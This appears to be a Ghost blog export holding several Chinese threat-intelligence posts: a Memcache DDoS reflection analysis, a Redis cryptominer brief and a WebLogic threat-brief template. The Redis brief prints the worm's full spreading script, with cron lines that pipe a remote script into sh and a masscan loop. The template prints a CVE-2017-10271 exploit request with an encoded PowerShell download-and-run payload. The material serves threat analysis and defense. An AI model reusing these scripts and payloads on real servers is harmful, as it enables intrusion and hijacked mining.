这里所涉及的反射点，均“已经”在真实攻击中被使用，**而非“可能”**存在被利用的隐患 * 由于我们数据来源的地缘性限制，我们会看到中国区相关的数据较多，世界其他区域的数据相对较少 通过对所有反射点的分析，我们发现共有 62k 个反射点已经参与真实攻击事件。其中前20 的ASN 列表如下： 这些排名最靠前的20个ASN也仅能覆盖大约 53% 的活跃反射点，还有大约29k(47%)的反射点分布在其他 2.8k 个ASN中，如下表所示： 因此： * 尽管前期有若干主要电信运营商已经在 UDP 11211 上做端口限速，为后续所有动作争取了时间 * 但是 memcache 服务器的分布较广，很难想象全部 4.8k 个ASN 均采取限制措施。 * 仍然需要memcache 服务的开发者、发行者、使用者做工作，才能关闭掉这些反射点。 在文章的结尾，我们很高兴的注意到 memcached 的服务的开发者已经在 3月3日，提交 代码 缺省关闭了 memcache 的UDP监听端口。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"我们在之前的 [文章](__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/) 中已经提及，Memcache DRDoS 自从被360 0kee team首次公开批露以来，在过去的9个月中在网络上都不活跃。但是最近十天以来，Memcache DRDoS 在现网中的攻击越来越频繁，所制造的攻击流量也在不断刷新，当前最新的公开记录已经到了 [1.7Tbps](https://www.securityweek.com/largest-ever-13tbps-ddos-attack-includes-embedded-ransom-demands) 。\n\n关于这种攻击方式，目前还有很多问题等待回答。例如，到底已经有多少受害者、攻击中所使用的反射点到底有多少、实际发生的反射放大倍数是多少，等等。通过回答这些问题，我们可以充分描述当前总体态势，有助于安全社区理解这种新的DDoS攻击方式。\n\n为此我们在 Memcache DRDoS 在 DDoSMon 上建立了一个 [实时页面](https://ddosmon.net/memcached_amplification_attack) ，展示我们看到的相关DDoS攻击情况，供安全社区参考。\n\n#### 总体趋势\n\n\n\n\n上面两图展示了每天中发生的攻击事件次数。可以看出，从2018-02-24开始，这种攻击在几天内快速发展。我们暂且将时间划分为下面这些阶段：\n\n - ~ 2018-02-24 之前，每日平均小于 50 起攻击事件\n - 第一阶段：02-24 ~ 02-28，每日平均 372 起攻击事件\n - 第二阶段：03-01 ~ 03-07，每日平均 1758起攻击事件\n - 03-06，今天已经发生 721 起攻击事件，还有12个小时结束，后续发展还有待观察\n\n\n\n\n\n上图是每日活跃（即实际参与了攻击的）的反射点数量。从2018-02-24 快速增长以后，每日活跃的反射点数量一直稳定。\n\n我们还挑选了 03-07 当天的15k个活跃反射点进行了实际测试。其中 15% 的反射点回应了我们用来探测的stats命令，确实拥有参与实际攻击的能力。15% 这个比例看起来比例较低，考虑到可能当前这些服务器的带宽已经接近耗尽或者接近ISP设定上限，也许需要多次测量来确认实际情况。\n\n\n#### 受害者案例\n\n在过去这些天中，已经有一些主要的网站成为这种攻击方式的受害者。例如，github 在 2018-02-28 17:20 GMT附近，遭遇了一次DDoS攻击，其流量峰值达到 1.3Tbps，或者126.9mpps（百万包/秒）。\n [akamai](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) 和 [github](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) 均发布了文档描述此事件。\n\n在 DDoSMon 上，我们能看到 www.github.com 这个域名在2018-03-01 和 2018-03-02 遭受了两次攻击，前者就是上文提到的那次攻击：\n\n - **受攻击IP**：192.30.252.113 \n - **发生时间**：分别是 IP在 2018-03-01 14:26:22 和 2018-03-02 01:13:44 （GMT +8）\n - **来源端口**：流量集中在 UDP 11211 源端口上\n - **攻击类型**：被 ddosmon 标注为udp@attack@amp\\_flood\\_target-MEMCACHE\n\n\n\n#### 实际攻击中使用到的 memcache stats 指令并不能制造 50k 的放大倍数\n\n我们为这种攻击方式搭建了服务蜜罐，并采集到了超过 37k 次攻击指令（请求包）。\n\n如下表所示，99% 的攻击指令都是基于 memcache stats 指令。\n\n\n\n我们在上一篇 [文章](__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/) 中提到，我们对实际环境中的实际放大倍数做了测试。在那个测试中，我们利用 stats 指令能获得的放大倍数在几十倍左右。\n\n#### 受害者列表\n\n这7天中，我们的DDoSMon平台记录了：\n\n - 10k 次攻击事件\n - 7131 个受害者IP地址\n\n为了使得结果更加可读，我们使用了PDNS 数据把受害者IP映射回他们的域名。这些IP中，有 981(13%) 个最近一周内有过域名解析，有1.5k(22%) 个历史上有过域名解析。\n\n我们将这些有DNS域名解析的受害者，分别选择位于Alexa和float排名前1百万的，制作了两个列表。\n\n下面是位于 Alexa 排名前1百万的受害者。需要指出我们只保留了SLD而非全部FQDN，所以表格中虽然列出了 a.com ，但实际上受攻击的可能是 xyz.a.com。\n\n```\ntarget_ip\trank\tbelongs to sld\n59.37.97.93\t9\tqq.com\n182.254.79.46\t9\tqq.com\n36.110.213.82\t21\t360.cn\n216.18.168.16\t32\tpornhub.com\n192.30.255.113\t74\tgithub.com\n192.30.253.125\t74\tgithub.com\n192.30.253.113\t74\tgithub.com\n192.30.253.112\t74\tgithub.com\n151.101.128.84\t80\tpinterest.com\n104.155.208.139\t112\tgoogleusercontent.com\n```\n\n下面是位于 float 排名前1百万的受害者。float 是我们内部的一个工具，主要使用中国大陆地区访问数据评估域名流行度。使用float排名时的一个好处是该排名基于FQDN，这样我们就不需要再次映射到 SLD，这样比较方便。\n```\ntarget_ip\trank\tfqdn\n115.239.211.112\t12\twww.a.shifen.com\n182.254.79.46\t21\tmp.weixin.qq.com\n59.37.97.93\t464\tpingma.qq.com\n114.80.223.177\t587\tinterface.hdslb.net\n47.91.19.168\t587\tinterface.hdslb.net\n222.186.35.81\t587\tinterface.hdslb.net\n114.80.223.172\t587\tinterface.hdslb.net\n140.205.32.8\t867\tsh.wagbridge.aliyun.com.gds.alibabadns.com\n114.80.223.177\t1052\tbilibili.hdslb.net\n47.91.19.168\t1052\tbilibili.hdslb.net\n```\n\n上述两份列表分别可以在 [这里](__GHOST_URL__/file/memcache.drdos.victim.in.alexa.top.1m.txt) 和 [这里](__GHOST_URL__/file/memcache.drdos.victim.in.float.top.1m.txt) 下载\n\n观察这个列表可以看到一些有意思的受害者，例如：\n\n - 有些大网站本身就经常被攻击，例如 360, amazon, google, qq, 等等\n - 有些网站是游戏行业的，例如 minecraft.net, playstation.net, rockstargames.com ，等等\n - 有些网站是色情行业的，例如 homepornbay.com, pornhub.com\n - 有些网站是安全行业的，例如 360.cn, avast.com, kaspersky-labs.com\n - 一些政府相关网站，例如 epochtimes.com, nra.org, nrafoundation.org ,racarryguard.com\n - 还有那个总是可以看到最新攻击的:) krebsonsecurity.com\n\n下面是受害者的地理分布：\n\n\n\n以及ASN 分布：\n\n\n\n总体而言，当前的受害者主要集中在美国、中国（含中国香港）、韩国、巴西、法国、德国、英国、加拿大、荷兰。\n\n#### 这些攻击事件中涉及的反射点/memcache 服务器\n\n在继续分析这些攻击事件中涉及的反射点之前，我们必须指出：\n\n - 这里所涉及的反射点，均“**已经**”在真实攻击中被使用，**而非“可能”**存在被利用的隐患\n - 由于我们数据来源的地缘性限制，我们会看到中国区相关的数据较多，世界其他区域的数据相对较少\n\n通过对所有反射点的分析，我们发现共有 62k 个反射点已经参与真实攻击事件。其中前20 的ASN 列表如下：\n\n\n\n这些排名最靠前的20个ASN也仅能覆盖大约 53% 的活跃反射点，还有大约29k(47%)的反射点分布在其他 2.8k 个ASN中，如下表所示：\n\n\n\n因此：\n\n - 尽管前期有若干主要电信运营商已经在 UDP 11211 上做端口限速，为后续所有动作争取了时间\n - 但是 memcache 服务器的分布较广，很难想象全部 4.8k 个ASN 均采取限制措施。\n - 仍然需要memcache 服务的开发者、发行者、使用者做工作，才能关闭掉这些反射点。\n\n在文章的结尾，我们很高兴的注意到 memcached 的服务的开发者已经在 3月3日，提交 [代码](https://github.com/memcached/memcached/commit/dbb7a8af90054bf4ef51f5814ef7ceb17d83d974) 缺省关闭了 memcache 的UDP监听端口。\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

104

post

2018-03-23T10:59:00.000Z

63873b9a8b1c1e0007f52f1b

threat-brief-a-redis-miner

2018-10-06T09:03:52.000Z

public

published

2018-03-23T12:26:43.000Z

威胁快讯：一个Redis.Miner

<!--kg-card-begin: markdown--><h4 id="ioc">IoC</h4> <p>下载服务器</p> <pre><code>159.89.190.243 img.namunil.com cdn.namunil.com </code></pre> <p>下载URL</p> <pre><code>hxxp://img.namunil.com/ash.php hxxp://img.namunil.com/bsh.php hxxp://img.namunil.com/rsh.php hxxp://cdn.namunil.com/ash.php hxxp://cdn.namunil.com/bsh.php hxxp://cdn.namunil.com/ins.php hxxp://cdn.namunil.com/pgp.php hxxp://cdn.namunil.com/rsh.php hxxp://cdn.namunil.com/sh.php </code></pre> <p>挖矿程序</p> <pre><code>hxxp://img.namunil.com/dump.db hxxp://cdn.namunil.com/dump.db </code></pre> <p>ssh登录私钥<br> /root/.ssh/authorized_keys</p> <pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX </code></pre> <h4 id="">规模估计</h4> <ul> <li>扫描规模：端口6379 ，排名14（24小时内独立来源IP 673个）</li> <li>下载服务器排名还很低，远低于一百万名： <ul> <li>0.327100 401126302 2018-03-23 cdn.namunil.com</li> <li>0.572953 174202964 2018-03-23 img.namunil.com</li> </ul> </li> <li><strong>挖矿获利：不明，所使用的矿池 z.chakpools.com 并非知名矿池，没有应答</strong></li> </ul> <h4 id="">蠕虫式传播</h4> <p>利用 redis 本地漏洞投入载荷，扫描过程中使用的 masscan 是恶意代码自行下载编译的。</p> <pre><code>echo 'config set dbfilename &quot;backup.db&quot;' &gt; .dat echo 'save' &gt;&gt; .dat echo 'flushall' &gt;&gt; .dat echo 'set jmTIabkD &quot;\n*/2 * * * * curl http://cdn.namunil.com/sh.php|sh\n&quot;' &gt;&gt; .dat echo 'set yCEpdj &quot;\n*/4 * * * * wget -O- http://cdn.namunil.com/sh.php|sh\n&quot;' &gt;&gt; .dat echo 'set cNaGUd &quot;\n*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh\n&quot;' &gt;&gt; .dat echo 'set mKjzHoR &quot;\n*/10 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh\n&quot;' &gt;&gt; .dat echo 'config set dir &quot;/var/spool/cron&quot;' &gt;&gt; .dat echo 'config set dbfilename &quot;root&quot;' &gt;&gt; .dat echo 'save' &gt;&gt; .dat echo 'config set dir &quot;/var/spool/cron/crontabs&quot;' &gt;&gt; .dat echo 'save' &gt;&gt; .dat iptables -A INPUT -p tcp --dport 60000 -j DROP masscan --banners --no-show open --shard 18499/20000 --source-port 60000 --hello-string[6379] &quot;KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo=&quot; --max-rate 10000 -p6379 0.0.0.0/0 --exclude 255.255.255.255 2&gt;/dev/null -oG - | awk '/+OK/ {print $2, $5}' | sort | uniq &gt; .r1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw &gt; /dev/null 2&gt;&amp;1 &amp; done &lt; .r1 </code></pre> <h4 id="6379">恶意代码与近期 6379 端口扫描之间的同源关系证明</h4> <p>恶意代码中有以下masscan hello-string，并且来源端口限定为 6000:</p> <pre><code>$echo KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo= | base64 -d *4 $6 config $3 set $3 dir $15 /var/spool/cron </code></pre> <p>这与我们近期在 6379 上看到的扫描载荷是一致的</p> <pre><code>2018-03-23 14:23:54 redis sip=111.231.121.59 dip=- sport=60000 dport=65535 proto=tcp tcp.payload=eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg== src=hp $ fes -X eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg== &gt;&gt;&gt;sha1: 38472e9bfbf6148a9e887ae8196b6b2d2e6005e0 plen:56 *4 $6 config $3 set $3 dir $15 /var/spool/cron </code></pre> <!--kg-card-end: markdown-->

IoC 下载服务器 159.89.190.243 img.namunil.com cdn.namunil.com 下载URL hxxp://img.namunil.com/ash.php hxxp://img.namunil.com/bsh.php hxxp://img.namunil.com/rsh.php hxxp://cdn.namunil.com/ash.php hxxp://cdn.namunil.com/bsh.php hxxp://cdn.namunil.com/ins.php hxxp://cdn.namunil.com/pgp.php hxxp://cdn.namunil.com/rsh.php hxxp://cdn.namunil.com/sh.php 挖矿程序 hxxp://img.namunil.com/dump.db hxxp://cdn.namunil.com/dump.db ssh登录私钥 /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX 规模估计 * 扫描规模：端口6379 ，排名14（24小时内独立来源IP 673个） * 下载服务器排名还很低，远低于一百万名： * 0.327100 401126302 2018-03-23 cdn.namunil.com * 0.572953 174202964 2018-03-23 img.namunil.com * 挖矿获利：不明，所使用的矿池 z.chakpools.com 并非知名矿池，没有应答 蠕虫式传播 利用 redis 本地漏洞投入载荷，扫描过程中使用的 masscan 是恶意代码自行下载编译的。 echo 'config set dbfilename "backup.db"' > .dat echo 'save' >> .dat echo 'flushall' >> .dat echo 'set jmTIabkD "\n*/2 * * * * curl http://cdn.namunil.com/sh.php|sh\n"' >> .dat echo 'set yCEpdj "\n*/4 * * * * wget -O- http://cdn.namunil.com/sh.php|sh\n"' >> .dat echo 'set cNaGUd "\n*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh\n"' >> .dat echo 'set mKjzHoR "\n*/10 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh\n"' >> .dat echo 'config set dir "/var/spool/cron"' >> .dat echo 'config set dbfilename "root"' >> .dat echo 'save' >> .dat echo 'config set dir "/var/spool/cron/crontabs"' >> .dat echo 'save' >> .dat iptables -A INPUT -p tcp --dport 60000 -j DROP masscan --banners --no-show open --shard 18499/20000 --source-port 60000 --hello-string[6379] "KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo=" --max-rate 10000 -p6379 0.0.0.0/0 --exclude 255.255.255.255 2>/dev/null -oG - | awk '/+OK/ {print $2, $5}' | sort | uniq > .r1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw > /dev/null 2>&1 & done < .r1 恶意代码与近期 6379 端口扫描之间的同源关系证明 恶意代码中有以下masscan hello-string，并且来源端口限定为 6000: $echo KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo= | base64 -d *4 $6 config $3 set $3 dir $15 /var/spool/cron 这与我们近期在 6379 上看到的扫描载荷是一致的 2018-03-23 14:23:54 redis sip=111.231.121.59 dip=- sport=60000 dport=65535 proto=tcp tcp.payload=eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg== src=hp $ fes -X eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg== >>>sha1: 38472e9bfbf6148a9e887ae8196b6b2d2e6005e0 plen:56 *4 $6 config $3 set $3 dir $15 /var/spool/cron

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#### IoC\n下载服务器\n```\n159.89.190.243\nimg.namunil.com\ncdn.namunil.com\n```\n\n下载URL\n```\nhxxp://img.namunil.com/ash.php\nhxxp://img.namunil.com/bsh.php\nhxxp://img.namunil.com/rsh.php\nhxxp://cdn.namunil.com/ash.php\nhxxp://cdn.namunil.com/bsh.php\nhxxp://cdn.namunil.com/ins.php\nhxxp://cdn.namunil.com/pgp.php\nhxxp://cdn.namunil.com/rsh.php\nhxxp://cdn.namunil.com/sh.php\n```\n挖矿程序\n```\nhxxp://img.namunil.com/dump.db\nhxxp://cdn.namunil.com/dump.db\n```\nssh登录私钥 \n/root/.ssh/authorized_keys\n```\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX\n```\n#### 规模估计\n\n - 扫描规模：端口6379 ，排名14（24小时内独立来源IP 673个）\n - 下载服务器排名还很低，远低于一百万名：\n - 0.327100 401126302 2018-03-23 cdn.namunil.com\n - 0.572953 174202964 2018-03-23 img.namunil.com\n - **挖矿获利：不明，所使用的矿池 z.chakpools.com 并非知名矿池，没有应答**\n\n#### 蠕虫式传播\n利用 redis 本地漏洞投入载荷，扫描过程中使用的 masscan 是恶意代码自行下载编译的。\n```\necho 'config set dbfilename \"backup.db\"' > .dat\necho 'save' >> .dat\necho 'flushall' >> .dat\necho 'set jmTIabkD \"\\n*/2 * * * * curl http://cdn.namunil.com/sh.php|sh\\n\"' >> .dat\necho 'set yCEpdj \"\\n*/4 * * * * wget -O- http://cdn.namunil.com/sh.php|sh\\n\"' >> .dat\necho 'set cNaGUd \"\\n*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh\\n\"' >> .dat\necho 'set mKjzHoR \"\\n*/10 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh\\n\"' >> .dat\necho 'config set dir \"/var/spool/cron\"' >> .dat\necho 'config set dbfilename \"root\"' >> .dat\necho 'save' >> .dat\necho 'config set dir \"/var/spool/cron/crontabs\"' >> .dat\necho 'save' >> .dat\niptables -A INPUT -p tcp --dport 60000 -j DROP\n\nmasscan --banners --no-show open --shard 18499/20000 --source-port 60000 --hello-string[6379] \"KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo=\" --max-rate 10000 -p6379 0.0.0.0/0 --exclude 255.255.255.255 2>/dev/null -oG - | awk '/+OK/ {print $2, $5}' | sort | uniq > .r1\nwhile read -r h p; do\ncat .dat | redis-cli -h $h -p $p --raw > /dev/null 2>&1 &\ndone < .r1\n```\n\n#### 恶意代码与近期 6379 端口扫描之间的同源关系证明\n恶意代码中有以下masscan hello-string，并且来源端口限定为 6000:\n\n```\n$echo KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo= | base64 -d\n*4\n$6\nconfig\n$3\nset\n$3\ndir\n$15\n/var/spool/cron\n```\n\n这与我们近期在 6379 上看到的扫描载荷是一致的\n\n```\n2018-03-23 14:23:54 redis sip=111.231.121.59 dip=- sport=60000 dport=65535 proto=tcp tcp.payload=eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg== src=hp\n$ fes -X eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg==\n>>>sha1: 38472e9bfbf6148a9e887ae8196b6b2d2e6005e0 plen:56\n*4\n$6\nconfig\n$3\nset\n$3\ndir\n$15\n/var/spool/cron\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

107

post

2018-03-26T03:00:06.000Z

63873b9a8b1c1e0007f52f1c

wei-xie-kuai-xun-mo-ban

2018-11-16T08:27:59.000Z

public

draft

威胁快讯 - 模板

<!--kg-card-begin: markdown--><p>360 网络安全研究院威胁快讯模板：</p> <ul> <li>IoC (IP地址或者域名都对应AS号)</li> <li>规模统计</li> <li>投入方式</li> <li>获利方式</li> <li>逃避手段</li> <li>联系方式</li> </ul> <h4 id="ioc">IoC</h4> <p>下载服务器</p> <pre><code>123.59.68.172 &quot;AS4808 China Unicom Beijing Province Network&quot; </code></pre> <p>下载URL</p> <pre><code>http://123.59.68.172/Cache/DL.php #weblogic 利用payload中的初始url http://123.59.68.172/Cache/RunExe.exe http://123.59.68.172/Cache/WMI.ps1 http://123.59.68.172/Cache/WMI64.ps1 http://123.59.68.172/Cache/x64-VMP.exe http://123.59.68.172/Cache/x64.exe http://123.59.68.172/Cache/x86-JMP.exe http://123.59.68.172/Cache/x86-VMP.exe http://123.59.68.172/Cache/x86.exe http://123.59.68.172/Cache/x86.rc4 http://123.59.68.172/putout/DL.ps1 </code></pre> <p>123.59.68.172 上的文件</p> <pre><code>├── DL.php #weblogic 利用payload中的初始url ├── DL.php.64_unpack ├── DL.ps1 ├── DL.ps1.b64_unpack ├── msvcr120.dll ├── Neutrino.exe #扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell ├── Neutrino.ps1 ├── RunExe.exe ├── scripts │ ├── decode_file.py │ └── decode.py ├── WMI64.ps1 ├── WMI64.ps1.b64_unpack ├── WMI.ps1 ├── WMI.ps1.b64_unpack ├── WMI.ps1.b64_unpack.exe ├── x64.exe ├── x64-VMP.exe ├── x86.exe ├── x86-JMP.exe ├── x86.rc4 └── x86-VMP.exe </code></pre> <h4 id="">规模统计</h4> <p>不明，利用IP地址传播，从DNS渠道无法统计其规模</p> <h4 id="">投入方式</h4> <p>漏洞利用： CVE-2017-10271</p> <p>攻击payload如下。为避免误用，部分内容打码。</p> <pre><code>POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: {target}:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: Close Content-Type: text/xml Content-Length: 1222 &lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt; &lt;soapenv:Header&gt; &lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt; &lt;java version=&quot;1.8.0_131&quot; class=&quot;java.beans.XMLDecoder&quot;&gt; &lt;void class=&quot;java.lang.ProcessBuilder&quot;&gt; &lt;array class=&quot;java.lang.String&quot; length=&quot;3&quot;&gt; &lt;void index=&quot;0&quot;&gt; &lt;string&gt;cmd.exe&lt;/string&gt; &lt;/void&gt; &lt;void index=&quot;1&quot;&gt; &lt;string&gt;/c&lt;/string&gt; &lt;/void&gt; &lt;void index=&quot;2&quot;&gt; &lt;string&gt;START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA&lt;/string&gt; &lt;/void&gt; &lt;/array&gt; &lt;void method=&quot;start&quot;/&gt; &lt;/void&gt; &lt;/java&gt; &lt;/work:WorkContext&gt; &lt;/soapenv:Header&gt; &lt;soapenv:Body/&gt; &lt;/soapenv:Envelope&gt; </code></pre> <h4 id="">获利方式</h4> <p>挖矿</p> <ul> <li>矿池：一组，包括 <ul> <li>pool.minexmr.com</li> <li>sg.minexmr.com</li> <li>ca.minexmr.com</li> <li>fr.minexmr.com</li> <li>de.minexmr.com</li> <li>pool.supportxmr.com</li> </ul> </li> <li>钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc</li> </ul> <h4 id="">逃避手段</h4> <p>DL.php 的下载，需要指定useragent</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <!--kg-card-end: markdown-->

360 网络安全研究院威胁快讯模板： * IoC (IP地址或者域名都对应AS号) * 规模统计 * 投入方式 * 获利方式 * 逃避手段 * 联系方式 IoC 下载服务器 123.59.68.172 "AS4808 China Unicom Beijing Province Network" 下载URL http://123.59.68.172/Cache/DL.php #weblogic 利用payload中的初始url http://123.59.68.172/Cache/RunExe.exe http://123.59.68.172/Cache/WMI.ps1 http://123.59.68.172/Cache/WMI64.ps1 http://123.59.68.172/Cache/x64-VMP.exe http://123.59.68.172/Cache/x64.exe http://123.59.68.172/Cache/x86-JMP.exe http://123.59.68.172/Cache/x86-VMP.exe http://123.59.68.172/Cache/x86.exe http://123.59.68.172/Cache/x86.rc4 http://123.59.68.172/putout/DL.ps1 123.59.68.172 上的文件 ├── DL.php #weblogic 利用payload中的初始url ├── DL.php.64_unpack ├── DL.ps1 ├── DL.ps1.b64_unpack ├── msvcr120.dll ├── Neutrino.exe #扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell ├── Neutrino.ps1 ├── RunExe.exe ├── scripts │ ├── decode_file.py │ └── decode.py ├── WMI64.ps1 ├── WMI64.ps1.b64_unpack ├── WMI.ps1 ├── WMI.ps1.b64_unpack ├── WMI.ps1.b64_unpack.exe ├── x64.exe ├── x64-VMP.exe ├── x86.exe ├── x86-JMP.exe ├── x86.rc4 └── x86-VMP.exe 规模统计 不明，利用IP地址传播，从DNS渠道无法统计其规模 投入方式 漏洞利用： CVE-2017-10271 攻击payload如下。为避免误用，部分内容打码。 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: {target}:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: Close Content-Type: text/xml Content-Length: 1222 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd.exe</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 获利方式 挖矿 